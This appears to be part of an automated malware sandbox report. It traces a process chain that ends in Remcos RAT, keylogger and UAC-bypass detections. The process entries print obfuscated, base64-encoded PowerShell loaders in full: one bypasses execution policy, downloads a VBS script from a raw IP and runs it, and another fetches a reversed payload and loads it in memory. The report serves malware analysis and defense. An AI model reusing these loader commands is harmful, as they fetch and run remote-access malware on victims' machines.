                                                                                                                                                                Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajo
                                                                                                                                                                Imagebase:0x13f990000
                                                                                                                                                                File size:443'392 bytes
                                                                                                                                                                MD5 hash:A575A7610E5F003CC36DF39E07C4BA7D
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Reputation:moderate
                                                                                                                                                                Has exited:true

                                                                                                                                                                General

                                                                                                                                                                Target ID:16
                                                                                                                                                                Start time:05:01:51
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                Commandline:"C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                                                                                                                                                                Imagebase:0x4a020000
                                                                                                                                                                File size:345'088 bytes
                                                                                                                                                                MD5 hash:5746BD7E255DD6A8AFA06F7C42C1BA41
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Reputation:high
                                                                                                                                                                Has exited:true

                                                                                                                                                                General

                                                                                                                                                                Target ID:18
                                                                                                                                                                Start time:05:01:52
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                Commandline:pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                                                                                                                                                                Imagebase:0x13f990000
                                                                                                                                                                File size:443'392 bytes
                                                                                                                                                                MD5 hash:A575A7610E5F003CC36DF39E07C4BA7D
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Has exited:true

                                                                                                                                                                General

                                                                                                                                                                Target ID:19
                                                                                                                                                                Start time:05:01:53
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                Commandline:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.cmdline"
                                                                                                                                                                Imagebase:0x13ff60000
                                                                                                                                                                File size:2'758'280 bytes
                                                                                                                                                                MD5 hash:23EE3D381CFE3B9F6229483E2CE2F9E1
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Has exited:true

                                                                                                                                                                General

                                                                                                                                                                Target ID:20
                                                                                                                                                                Start time:05:01:53
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                Commandline:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAA05.tmp" "c:\Users\user\AppData\Local\Temp\oerqobky\CSC7CE8CD1AF8FA450C9BA47DDDFCB379F.TMP"
                                                                                                                                                                Imagebase:0x13f180000
                                                                                                                                                                File size:52'744 bytes
                                                                                                                                                                MD5 hash:C877CBB966EA5939AA2A17B6A5160950
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Has exited:true

                                                                                                                                                                General

                                                                                                                                                                Target ID:22
                                                                                                                                                                Start time:05:01:58
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Windows\System32\wscript.exe
                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS"
                                                                                                                                                                Imagebase:0xfffd0000
                                                                                                                                                                File size:168'960 bytes
                                                                                                                                                                MD5 hash:045451FA238A75305CC26AC982472367
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Has exited:true

                                                                                                                                                                General

                                                                                                                                                                Target ID:23
                                                                                                                                                                Start time:05:01:59
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajo
                                                                                                                                                                Imagebase:0x13f990000
                                                                                                                                                                File size:443'392 bytes
                                                                                                                                                                MD5 hash:A575A7610E5F003CC36DF39E07C4BA7D
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Has exited:true

                                                                                                                                                                General

                                                                                                                                                                Target ID:27
                                                                                                                                                                Start time:05:02:15
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                                                                                                                                                                Imagebase:0x8c0000
                                                                                                                                                                File size:107'704 bytes
                                                                                                                                                                MD5 hash:8AD6D0D81FEC2856B8DCABEE8D678F61
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Has exited:false

                                                                                                                                                                General

                                                                                                                                                                Target ID:29
                                                                                                                                                                Start time:05:02:22
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                                                                                                                                                                Imagebase:0x8c0000
                                                                                                                                                                File size:107'704 bytes
                                                                                                                                                                MD5 hash:8AD6D0D81FEC2856B8DCABEE8D678F61
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Yara matches:
                                                                                                                                                                • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                • Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001D.00000002.553244354.00000000004C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                Has exited:true

                                                                                                                                                                General

                                                                                                                                                                Target ID:30
                                                                                                                                                                Start time:05:02:22
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\mkrbfyryejtjdkianmbpxiuuhuj"
                                                                                                                                                                Imagebase:0x8c0000
                                                                                                                                                                File size:107'704 bytes
                                                                                                                                                                MD5 hash:8AD6D0D81FEC2856B8DCABEE8D678F61
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Has exited:true

                                                                                                                                                                General

                                                                                                                                                                Target ID:31
                                                                                                                                                                Start time:05:02:22
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\xmeuxqcasrlooyxewxwrivodiitksr"
                                                                                                                                                                Imagebase:0x8c0000
                                                                                                                                                                File size:107'704 bytes
                                                                                                                                                                MD5 hash:8AD6D0D81FEC2856B8DCABEE8D678F61
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Has exited:true

                                                                                                                                                                General

                                                                                                                                                                Target ID:32
                                                                                                                                                                Start time:05:02:22
                                                                                                                                                                Start date:28/11/2024
                                                                                                                                                                Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\zhjnyjntozdtqflifiikliburpktlcmpbo"
                                                                                                                                                                Imagebase:0x8c0000
                                                                                                                                                                File size:107'704 bytes
                                                                                                                                                                MD5 hash:8AD6D0D81FEC2856B8DCABEE8D678F61
                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                Has exited:true

                                                                                                                                                                Disassembly

                                                                                                                                                                Code Analysis

                                                                                                                                                                Call Graph

                                                                                                                                                                • Entrypoint
                                                                                                                                                                • Decryption Function
                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                • Show Help
                                                                                                                                                                callgraph 1 Error: Graph is empty

                                                                                                                                                                Module: Sheet1

                                                                                                                                                                Declaration
                                                                                                                                                                LineContent
                                                                                                                                                                1

                                                                                                                                                                Attribute VB_Name = "Sheet1"

                                                                                                                                                                2

                                                                                                                                                                Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                                                                                                                                                                3

                                                                                                                                                                Attribute VB_GlobalNameSpace = False

                                                                                                                                                                4

                                                                                                                                                                Attribute VB_Creatable = False

                                                                                                                                                                5

                                                                                                                                                                Attribute VB_PredeclaredId = True

                                                                                                                                                                6

                                                                                                                                                                Attribute VB_Exposed = True

                                                                                                                                                                7

                                                                                                                                                                Attribute VB_TemplateDerived = False

                                                                                                                                                                8

                                                                                                                                                                Attribute VB_Customizable = True

                                                                                                                                                                Module: Sheet2

                                                                                                                                                                Declaration
                                                                                                                                                                LineContent
                                                                                                                                                                1

                                                                                                                                                                Attribute VB_Name = "Sheet2"

                                                                                                                                                                2

                                                                                                                                                                Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                                                                                                                                                                3

                                                                                                                                                                Attribute VB_GlobalNameSpace = False

                                                                                                                                                                4

                                                                                                                                                                Attribute VB_Creatable = False

                                                                                                                                                                5

                                                                                                                                                                Attribute VB_PredeclaredId = True

                                                                                                                                                                6

                                                                                                                                                                Attribute VB_Exposed = True

                                                                                                                                                                7

                                                                                                                                                                Attribute VB_TemplateDerived = False

                                                                                                                                                                8

                                                                                                                                                                Attribute VB_Customizable = True

                                                                                                                                                                Module: Sheet3

                                                                                                                                                                Declaration
                                                                                                                                                                LineContent
                                                                                                                                                                1

                                                                                                                                                                Attribute VB_Name = "Sheet3"

                                                                                                                                                                2

                                                                                                                                                                Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                                                                                                                                                                3

                                                                                                                                                                Attribute VB_GlobalNameSpace = False

                                                                                                                                                                4

                                                                                                                                                                Attribute VB_Creatable = False

                                                                                                                                                                5

                                                                                                                                                                Attribute VB_PredeclaredId = True

                                                                                                                                                                6

                                                                                                                                                                Attribute VB_Exposed = True

                                                                                                                                                                7

                                                                                                                                                                Attribute VB_TemplateDerived = False

                                                                                                                                                                8

                                                                                                                                                                Attribute VB_Customizable = True

                                                                                                                                                                Module: ThisWorkbook

                                                                                                                                                                Declaration
                                                                                                                                                                LineContent
                                                                                                                                                                1

                                                                                                                                                                Attribute VB_Name = "ThisWorkbook"

                                                                                                                                                                2

                                                                                                                                                                Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"

                                                                                                                                                                3

                                                                                                                                                                Attribute VB_GlobalNameSpace = False

                                                                                                                                                                4

                                                                                                                                                                Attribute VB_Creatable = False

                                                                                                                                                                5

                                                                                                                                                                Attribute VB_PredeclaredId = True

                                                                                                                                                                6

                                                                                                                                                                Attribute VB_Exposed = True

                                                                                                                                                                7

                                                                                                                                                                Attribute VB_TemplateDerived = False

                                                                                                                                                                8

                                                                                                                                                                Attribute VB_Customizable = True

                                                                                                                                                                Reset < >

                                                                                                                                                                  Executed Functions

                                                                                                                                                                  Function 02810FB1 Relevance: .0, Instructions: 5COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 00000004.00000003.449533223.0000000002810000.00000010.00000800.00020000.00000000.sdmp, Offset: 02810000, based on PE: false
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_4_3_2810000_mshta.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
                                                                                                                                                                  • Instruction ID: 00078b7de0232b151c5ba54d8c5c0466c337ac0622d49690a77f283bd0004088
                                                                                                                                                                  • Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
                                                                                                                                                                  • Instruction Fuzzy Hash:
                                                                                                                                                                  Function 02810FB9 Relevance: .0, Instructions: 5COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 00000004.00000003.449533223.0000000002810000.00000010.00000800.00020000.00000000.sdmp, Offset: 02810000, based on PE: false
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_4_3_2810000_mshta.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
                                                                                                                                                                  • Instruction ID: 00078b7de0232b151c5ba54d8c5c0466c337ac0622d49690a77f283bd0004088
                                                                                                                                                                  • Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
                                                                                                                                                                  • Instruction Fuzzy Hash:
                                                                                                                                                                  Function 02810FC1 Relevance: .0, Instructions: 5COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 00000004.00000003.449533223.0000000002810000.00000010.00000800.00020000.00000000.sdmp, Offset: 02810000, based on PE: false
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_4_3_2810000_mshta.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
                                                                                                                                                                  • Instruction ID: 00078b7de0232b151c5ba54d8c5c0466c337ac0622d49690a77f283bd0004088
                                                                                                                                                                  • Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
                                                                                                                                                                  • Instruction Fuzzy Hash:

                                                                                                                                                                  Execution Graph

                                                                                                                                                                  Execution Coverage:3%
                                                                                                                                                                  Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                  Signature Coverage:0%
                                                                                                                                                                  Total number of Nodes:3
                                                                                                                                                                  Total number of Limit Nodes:0
                                                                                                                                                                  execution_graph 4366 7fe89647ae1 4367 7fe89647af1 URLDownloadToFileW 4366->4367 4369 7fe89647c00 4367->4369

                                                                                                                                                                  Executed Functions

                                                                                                                                                                  Function 000007FE89647018 Relevance: 1.6, APIs: 1, Instructions: 129filenetworkCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 00000008.00000002.488978666.000007FE89640000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89640000, based on PE: false
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_8_2_7fe89640000_powershell.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: DownloadFile
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1407266417-0
                                                                                                                                                                  • Opcode ID: b68300e536a2b2f2b568a3020c6deeeb5d41b6d822c2796936f05a4baf2854cc
                                                                                                                                                                  • Instruction ID: de3f6dd14ef4541c6a4e17c1cdc6a594cd067f408d9b62cbe4b42278c41f98cc
                                                                                                                                                                  • Opcode Fuzzy Hash: b68300e536a2b2f2b568a3020c6deeeb5d41b6d822c2796936f05a4baf2854cc
